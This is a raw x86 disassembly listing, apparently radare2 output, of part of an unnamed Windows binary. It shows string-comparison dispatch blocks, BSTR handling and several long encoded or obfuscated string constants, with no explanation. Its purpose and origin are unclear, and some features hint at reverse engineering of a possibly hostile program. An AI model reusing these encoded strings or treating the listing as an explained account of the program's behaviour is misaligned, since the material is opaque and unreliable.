lea ecx, [ebp - 0x1a0]
call fcn.004339d0
lea ecx, [ebp - 0x1a0]
call fcn.00432770
mov byte [ebp - 4], 7
lea ecx, [ebp - 0xe4]
cmp dword [ebp - 0xd0], 8
cmovae ecx, dword [ebp - 0xe4]
call fcn.00460570
lea ecx, [ebp - 0xe4]
call fcn.0042c730
mov ecx, dword [ebp - 0xa0]
cmp ecx, 0x10
jb 0x524601
mov edx, dword [ebp - 0xb4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x521480
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x524696
jmp 0x521480
sub esp, 0x18
mov ecx, esp
push 0x5bd748
call fcn.0042b2b0
lea ecx, [ebp - 0x68]
call fcn.00442d60
add esp, 0x18
mov edx, eax
test edi, edi
je 0x521cb5
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x521c80
sub ecx, dword [ebp - 0x20]
je 0x521cb5
mov eax, dword [edx + 0x10]
test eax, eax
je 0x521cb5
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x4c], esi
jb 0x521ca0
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.005591e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x521cbc
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x521cf0
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x521ce6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52469b
push ecx
push edx
call fcn.00547d61
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x5225a3
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov ecx, edi
mov dword [ebp - 4], 8
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x521d30
sub ecx, edx
lea eax, [ebp - 0x9c]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x28]
call fcn.00524af0
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
movups xmmword [ebp - 0xcc], xmm0
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xb8], 0xf
mov byte [ebp - 0xcc], 0
movups xmmword [ebp - 0x118], xmm0
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x104], 0xf
mov byte [ebp - 0x118], 0
movups xmmword [ebp - 0x84], xmm0
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x70], 0xf
mov byte [ebp - 0x84], 0
lea eax, [ebp - 0x84]
mov byte [ebp - 4], 0xc
push eax
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0xcc]
push eax
lea edx, [ebp - 0xb4]
lea ecx, [ebp - 0x9c]
call fcn.004495c0
add esp, 0x14
call fcn.0042cbc0
mov ecx, eax
test ecx, ecx
je 0x5246a0
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x3c], eax
push str.dzEzyWjtQUQC4rdQ
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0xd
call fcn.0042ce30
test al, al
jne 0x521e41
push 0x13
push str.dzEzyWjtQUQC4rdQ
lea ecx, [ebp - 0x3c]
call fcn.0042d150
mov byte [ebp - 4], 0xe
call fcn.0042cbc0
mov ecx, eax
test ecx, ecx
je 0x5246aa
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x44], eax
push str.V3logZxsYwGxMD2EAUC
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0xf
call fcn.0042ce30
test al, al
jne 0x521e85
push 0x13
push str.V3logZxsYwGxMD2EAUC
lea ecx, [ebp - 0x44]
call fcn.0042d150
push ecx
mov byte [ebp - 4], 0x10
mov edi, esp
mov dword [ebp - 0x28], esp
push ecx
mov esi, esp
mov dword [ebp - 0x6c], esi
mov ecx, dword [0x5c20f4]
lea ecx, [ecx - 0x10]
call fcn.0042c560
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00443520
add esp, 4
lea ecx, [ebp - 0x1a0]
mov byte [ebp - 4], 0x11
call fcn.004327f0
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0xcc]
cmp dword [ebp - 0xb8], 0x10
mov eax, dword [ebp - 0xbc]
cmovae ecx, dword [ebp - 0xcc]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x100]
push eax
lea ecx, [ebp - 0x1a0]
call fcn.004339d0
lea ecx, [ebp - 0x1a0]
call fcn.00432770
mov byte [ebp - 4], 0x13
lea esi, [ebp - 0x100]
cmp dword [ebp - 0xec], 8
push ecx
cmovae esi, dword [ebp - 0x100]
mov edi, esp
mov dword [ebp - 0x6c], esp
mov dword [ebp - 0x40], edi
call fcn.0042cbc0
mov ecx, eax
test ecx, ecx
je 0x5246b4
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [edi], eax
push esi
mov ecx, edi
mov byte [ebp - 4], 0x14
call fcn.0042ce30
test al, al
jne 0x521f78
test esi, esi
jne 0x521f54
xor ecx, ecx
jmp 0x521f6f
mov ecx, esi
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x521f60
sub ecx, edx
sar ecx, 1
push ecx
push esi
mov ecx, edi
call fcn.0042d150
push ecx
mov edi, esp
mov byte [ebp - 4], 0x15
push ecx
mov esi, esp
mov dword [ebp - 0x40], esi
mov eax, dword [ebp - 0x3c]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x48], eax
call fcn.0042c560
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00443520
add esp, 4
mov ecx, SysReAllocString
mov byte [ebp - 4], 0x16
call fcn.004466b0
add esp, 0xc
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x100]
call fcn.0042c730
push ecx
mov dword [ebp - 0x28], esp
mov edi, esp
push ecx
mov esi, esp
mov dword [ebp - 0x6c], esi
mov ecx, dword [0x5c20f4]
lea ecx, [ecx - 0x10]
call fcn.0042c560
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00443520
add esp, 4
lea ecx, [ebp - 0x1a0]
mov byte [ebp - 4], 0x17
call fcn.004327f0
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x118]
cmp dword [ebp - 0x104], 0x10
mov eax, dword [ebp - 0x108]
cmovae ecx, dword [ebp - 0x118]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x100]
push eax
lea ecx, [ebp - 0x1a0]
call fcn.004339d0
lea ecx, [ebp - 0x1a0]
call fcn.00432770
mov byte [ebp - 4], 0x19
lea esi, [ebp - 0x100]
cmp dword [ebp - 0xec], 8
push ecx
cmovae esi, dword [ebp - 0x100]
mov edi, esp
mov dword [ebp - 0x6c], esp
mov dword [ebp - 0x40], edi
call fcn.0042cbc0
mov ecx, eax
test ecx, ecx
je 0x5246be
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [edi], eax
push esi
mov ecx, edi
mov byte [ebp - 4], 0x1a
call fcn.0042ce30
test al, al
jne 0x5220ac
test esi, esi
jne 0x52208f
xor ecx, ecx
jmp 0x5220a3
mov ecx, esi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x522094
sub ecx, edx
sar ecx, 1
push ecx
push esi
mov ecx, edi
call fcn.0042d150
push ecx
mov edi, esp
mov byte [ebp - 4], 0x1b
push ecx
mov esi, esp
mov dword [ebp - 0x40], esi
mov eax, dword [ebp - 0x44]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x24], eax
call fcn.0042c560
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00443520
add esp, 4
mov ecx, SysReAllocString
mov byte [ebp - 4], 0x1c
call fcn.004466b0
add esp, 0xc
lea ecx, [ebp - 0x100]
call fcn.0042c730
mov byte [ebp - 4], 0x1d
call fcn.0042cbc0
mov ecx, eax
test ecx, ecx
je 0x5246c8
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x1e
call fcn.0042cbc0
mov ecx, eax
test ecx, ecx
je 0x5246d2
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x38], eax
push str.cXVHMMgpXwJkIBMV30SwClcp8XQUcLIVsSFFDNb4Hhs0YEEtV3PBAexEyFX3Azw0HfQEQMKRBLPVTNAXBBA6ETww
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0x1f
call fcn.0042ce30
test al, al
jne 0x522158
push 0x59
push str.cXVHMMgpXwJkIBMV30SwClcp8XQUcLIVsSFFDNb4Hhs0YEEtV3PBAexEyFX3Azw0HfQEQMKRBLPVTNAXBBA6ETww
lea ecx, [ebp - 0x38]
call fcn.0042d150
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0xe4]
push 0x9f
xorps xmm0, xmm0
mov dword [ebp - 0xd4], 0
push str.TGNiSQjdBuAzI8KQVg51bgwEAJCkREQHg3JQQ0kdKgYQfCyIFtDWB2XGEA3DPg9AqeG5GlFTFu3T0AtyJQdApeGkUPEW5uYDBY7nPAZAIeG5GOFTFuNHh9uQbhAKdLTs85FSsiyBw016bllAZLSoFjBzBu5Hh8
movups xmmword [ebp - 0xe4], xmm0
mov dword [ebp - 0xd0], 0
call fcn.0042b6f0
lea ecx, [ebp - 0x1a0]
mov byte [ebp - 4], 0x21
call fcn.004327f0
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x84]
cmp dword [ebp - 0x70], 0x10
mov eax, dword [ebp - 0x74]
cmovae ecx, dword [ebp - 0x84]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x68]
push eax
lea ecx, [ebp - 0x1a0]
call fcn.004339d0
lea ecx, [ebp - 0x1a0]
call fcn.00432770
mov byte [ebp - 4], 0x23
lea eax, [ebp - 0x68]
cmp dword [ebp - 0x54], 8
lea ecx, [ebp - 0x298]
cmovae eax, dword [ebp - 0x68]
mov dword [ebp - 0x50], eax
call fcn.004327f0
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0xcc]
cmp dword [ebp - 0xb8], 0x10
mov eax, dword [ebp - 0xbc]
cmovae ecx, dword [ebp - 0xcc]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x130]
push eax
lea ecx, [ebp - 0x298]
call fcn.004339d0
lea ecx, [ebp - 0x298]
call fcn.00432770
mov byte [ebp - 4], 0x25
lea edi, [ebp - 0x130]
cmp dword [ebp - 0x11c], 8
lea ecx, [ebp - 0x1a0]
cmovae edi, dword [ebp - 0x130]
call fcn.004327f0
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0xb4]
cmp dword [ebp - 0xa0], 0x10
mov eax, dword [ebp - 0xa4]
cmovae ecx, dword [ebp - 0xb4]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x100]
push eax
lea ecx, [ebp - 0x1a0]
call fcn.004339d0
lea ecx, [ebp - 0x1a0]
call fcn.00432770
mov byte [ebp - 4], 0x27
lea esi, [ebp - 0x100]
cmp dword [ebp - 0xec], 8
cmovae esi, dword [ebp - 0x100]
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0xe4]
push eax
call fcn.0042c650
lea ecx, [ebp - 0x20]
call fcn.004430f0
mov byte [ebp - 4], 0x28
push dword [ebp - 0x50]
push edi
push esi
push dword [eax]
lea eax, [ebp - 0x1c]
push eax
call fcn.0041f790
mov edx, dword [ebp - 0x20]
or edi, 0xffffffff
add esp, 0x2c
add edx, 0xfffffff0
mov eax, edi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x5222f7
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea ecx, [ebp - 0x100]
call fcn.0042c730
lea ecx, [ebp - 0x130]
call fcn.0042c730
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0x21
call fcn.0042c730
mov eax, dword [ebp - 0x34]
push 4
push ecx
mov edi, esp
mov eax, dword [eax + 0x10]
push ecx
mov dword [ebp - 0x50], eax
mov esi, esp
mov dword [ebp - 0x28], esi
mov eax, dword [ebp - 0x38]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x20], eax
call fcn.0042c560
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00443520
mov ecx, dword [ebp - 0x50]
add esp, 4
call fcn.0045d460
mov eax, dword [ebp - 0x34]
push 8
push ecx
mov esi, esp
mov edi, dword [eax + 0x10]
mov dword [ebp - 0x28], esi
mov eax, dword [ebp - 0x1c]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x50], eax
call fcn.0042c560
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.0045d460
mov ecx, dword [ebp - 0xd0]
cmp ecx, 8
jb 0x5223be
mov edx, dword [ebp - 0xe4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x5223b4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x5246dc
push ecx
push edx
call fcn.00547d61
add esp, 8
mov edx, dword [ebp - 0x20]
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x5223d8
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x50]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x5223ef
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x24]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x522406
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x48]
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x52241b
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0x70]
cmp ecx, 0x10
jb 0x522452
mov edx, dword [ebp - 0x84]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x522448
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x5246dc
push ecx
push edx
call fcn.00547d61
add esp, 8
mov ecx, dword [ebp - 0x104]
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x70], 0xf
mov byte [ebp - 0x84], 0
cmp ecx, 0x10
jb 0x5224a1
mov edx, dword [ebp - 0x118]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x522497
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x5246dc
push ecx
push edx
call fcn.00547d61
add esp, 8
mov ecx, dword [ebp - 0xb8]
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x104], 0xf
mov byte [ebp - 0x118], 0
cmp ecx, 0x10
jb 0x5224f6
mov edx, dword [ebp - 0xcc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5224ec
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x5246dc
push ecx
push edx
call fcn.00547d61
add esp, 8
mov ecx, dword [ebp - 0xa0]
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xb8], 0xf
mov byte [ebp - 0xcc], 0
cmp ecx, 0x10
jb 0x52254b
mov edx, dword [ebp - 0xb4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x522541
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x5246dc
push ecx
push edx
call fcn.00547d61
add esp, 8
mov dword [ebp - 0xa4], 0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov ecx, dword [ebp - 0x88]
cmp ecx, 0x10
jb 0x524601
mov edx, dword [ebp - 0x9c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x521480
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x5246dc
jmp 0x521480
sub esp, 0x18
mov ecx, esp
push 0x5bd7a8
call fcn.0042b2b0
lea ecx, [ebp - 0x68]
call fcn.00442d60
add esp, 0x18
mov edx, eax
test edi, edi
je 0x522605
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5225d0
sub ecx, dword [ebp - 0x20]
je 0x522605
mov eax, dword [edx + 0x10]
test eax, eax
je 0x522605
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x4c], esi
jb 0x5225f0
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.005591e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x52260c
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x522640
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x522636
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x5246e1
push ecx
push edx
call fcn.00547d61
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x5228d8
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov ecx, edi
mov dword [ebp - 4], 0x29
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x522680
sub ecx, edx
lea eax, [ebp - 0x9c]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x28]
call fcn.00524af0
add esp, 8
mov byte [ebp - 4], 0x2a
call fcn.0042cbc0
mov ecx, eax
test ecx, ecx
je 0x5246e6
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x24], eax
mov byte [ebp - 4], 0x2c
call fcn.0042cbc0
mov ecx, eax
test ecx, ecx
je 0x5246f0
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x48], eax
mov byte [ebp - 4], 0x2e
call fcn.0042cbc0
mov ecx, eax
test ecx, ecx
je 0x5246fa
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x44], eax
mov byte [ebp - 4], 0x30
call fcn.0042cbc0
mov ecx, eax
test ecx, ecx
je 0x524704
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x3c], eax
mov byte [ebp - 4], 0x32
call fcn.0042cbc0
mov ecx, eax
test ecx, ecx
je 0x52470e
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x38]
mov byte [ebp - 4], 0x33
push eax
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x1c], 0
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x48]
push eax
lea edx, [ebp - 0x24]
lea ecx, [ebp - 0x9c]
call fcn.00446d30
mov esi, dword [ebp - 0x34]
add esp, 0x14
mov ecx, 0x5c21b8
mov eax, dword [esi + 0xc]
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0x78]
push esi
push eax
call fcn.00420f20
mov edi, dword [ebp - 0x70]
cmp byte [edi + 0xd], 0
jne 0x524718
lea eax, [edi + 0x10]
push eax
push esi
call fcn.00424df0
test al, al
jne 0x524718
push dword [edi + 0x14]
push dword [ebp - 0x1c]
push ecx
mov esi, esp
mov dword [ebp - 0x28], esp
mov dword [ebp - 0x6c], esi
mov eax, dword [ebp - 0x38]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x20], eax
call fcn.0042c560
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x34
mov esi, esp
mov dword [ebp - 0x40], esi
mov eax, dword [ebp - 0x3c]
add eax, 0xfffffff0
mov dword [ebp - 0x6c], esp
mov ecx, eax
mov dword [ebp - 0x1c], eax
call fcn.0042c560
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x35
mov esi, esp
mov dword [ebp - 0x2c], esi
mov eax, dword [ebp - 0x44]
add eax, 0xfffffff0
mov dword [ebp - 0x40], esp
mov ecx, eax
mov dword [ebp - 0x34], eax
call fcn.0042c560
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x36
mov esi, esp
mov dword [ebp - 0x2c], esi
mov eax, dword [ebp - 0x48]
add eax, 0xfffffff0
mov dword [ebp - 0xe8], esp
mov ecx, eax
mov dword [ebp - 0x2c], eax
call fcn.0042c560
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x37
mov esi, esp
mov dword [ebp - 0x70], esi
mov edi, dword [ebp - 0x24]
add edi, 0xfffffff0
mov ecx, edi
call fcn.0042c560
mov ecx, dword [ebp - 0x50]
add eax, 0x10
mov dword [esi], eax
mov byte [ebp - 4], 0x33
call fcn.004071d0
mov edx, dword [ebp - 0x20]
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x522878
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x1c]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x52288f
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x34]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x5228a6
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x2c]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x5228bd
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lock xadd dword [edi + 0xc], esi
dec esi
test esi, esi
jg 0x522566
mov ecx, dword [edi]
push edi
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x522566
sub esp, 0x18
mov ecx, esp
push 0x5bd8c8
call fcn.0042b2b0
lea ecx, [ebp - 0x68]
call fcn.00442d60
add esp, 0x18
mov edx, eax
test edi, edi
je 0x522935
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x522900
sub ecx, dword [ebp - 0x2c]
je 0x522935
mov eax, dword [edx + 0x10]
test eax, eax
je 0x522935
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x4c], esi
jb 0x522920
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.005591e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x24], eax
jmp 0x52293c
mov dword [ebp - 0x24], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x522970
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x522966
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x5246dc
push ecx
push edx
call fcn.00547d61
add esp, 8
cmp dword [ebp - 0x24], 0
je 0x522b32
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov ecx, edi
mov dword [ebp - 4], 0x38
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5229b0
sub ecx, edx
lea eax, [ebp - 0x9c]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x70]
call fcn.00524af0
add esp, 8
mov byte [ebp - 4], 0x39
call fcn.0042cbc0
mov ecx, eax
test ecx, ecx
je 0x524722
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x3b
call fcn.0042cbc0
mov ecx, eax
test ecx, ecx
je 0x52472c
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x48], eax
mov byte [ebp - 4], 0x3d
call fcn.0042cbc0
mov ecx, eax
test ecx, ecx
je 0x524736
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
mov byte [ebp - 4], 0x3e
push eax
lea eax, [ebp - 0x48]
push eax
lea edx, [ebp - 0x1c]
lea ecx, [ebp - 0x9c]
call fcn.0044aaa0
mov eax, dword [ebp - 0x34]
add esp, 4
mov esi, esp
mov dword [ebp - 0x70], esp
mov edi, dword [eax + 0xc]
mov dword [ebp - 0xe8], esi
mov eax, dword [ebp - 0x24]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x2c], eax
call fcn.0042c560
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x3f
mov esi, esp
mov dword [ebp - 0x28], esi
mov eax, dword [ebp - 0x48]
add eax, 0xfffffff0
mov dword [ebp - 0xe8], esp
mov ecx, eax
mov dword [ebp - 0x50], eax
call fcn.0042c560
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x40
mov esi, esp
mov dword [ebp - 0x6c], esi
mov eax, dword [ebp - 0x1c]
add eax, 0xfffffff0
mov dword [ebp - 0x28], esp
mov ecx, eax
mov dword [ebp - 0x20], eax
call fcn.0042c560
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x41
mov esi, esp
mov dword [ebp - 0x6c], esi
mov eax, dword [ebp - 0x34]
mov ecx, dword [eax]
sub ecx, 0x10
call fcn.0042c560
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
mov byte [ebp - 4], 0x3e
call fcn.004074f0
mov edx, dword [ebp - 0x2c]
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x522afd
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x50]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x522b14
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x20]
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x522566
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x522566
sub esp, 0x18
mov ecx, esp
push 0x5bd6e8
call fcn.0042b2b0
lea ecx, [ebp - 0x68]
call fcn.00442d60
add esp, 0x18
mov edx, eax
test edi, edi
je 0x522b95
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x522b60
sub ecx, dword [ebp - 0x2c]
je 0x522b95
mov eax, dword [edx + 0x10]
test eax, eax
je 0x522b95
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x4c], esi
jb 0x522b80
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.005591e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x24], eax
jmp 0x522b9c
mov dword [ebp - 0x24], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x522bd0
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x522bc6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x5246dc
push ecx
push edx
call fcn.00547d61
add esp, 8
cmp dword [ebp - 0x24], 0
je 0x522e95
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov ecx, edi
mov dword [ebp - 4], 0x42
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x522c10
sub ecx, edx
lea eax, [ebp - 0xb4]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x70]
call fcn.00524af0
add esp, 8
lea ecx, [ebp - 0xb4]
push 0
push 0x58e88c
call fcn.00429e40
mov byte [ebp - 4], 0x43
push 0x2c
mov dword [ebp - 0x74], 0
